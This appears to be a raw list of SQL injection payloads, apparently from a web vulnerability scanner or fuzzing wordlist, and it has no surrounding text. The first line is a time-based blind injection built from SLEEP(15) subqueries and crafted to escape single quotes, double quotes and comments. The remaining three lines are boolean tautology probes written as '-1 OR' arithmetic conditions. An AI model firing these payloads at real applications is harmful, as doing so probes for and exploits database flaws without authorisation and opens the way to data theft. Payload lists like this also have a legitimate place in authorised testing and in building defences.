(SELECT(0)FROM(SELECT(SLEEP(15)))V)/*'+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+'"+(SELECT(0)FROM(SELECT(SLEEP(15)))V)+"*/

-1' OR 2+579-579-1=0+0+0+1 --

-1 OR 2+248-248-1=0+0+0+1

-1 OR 2+976-976-1=0+0+0+1 --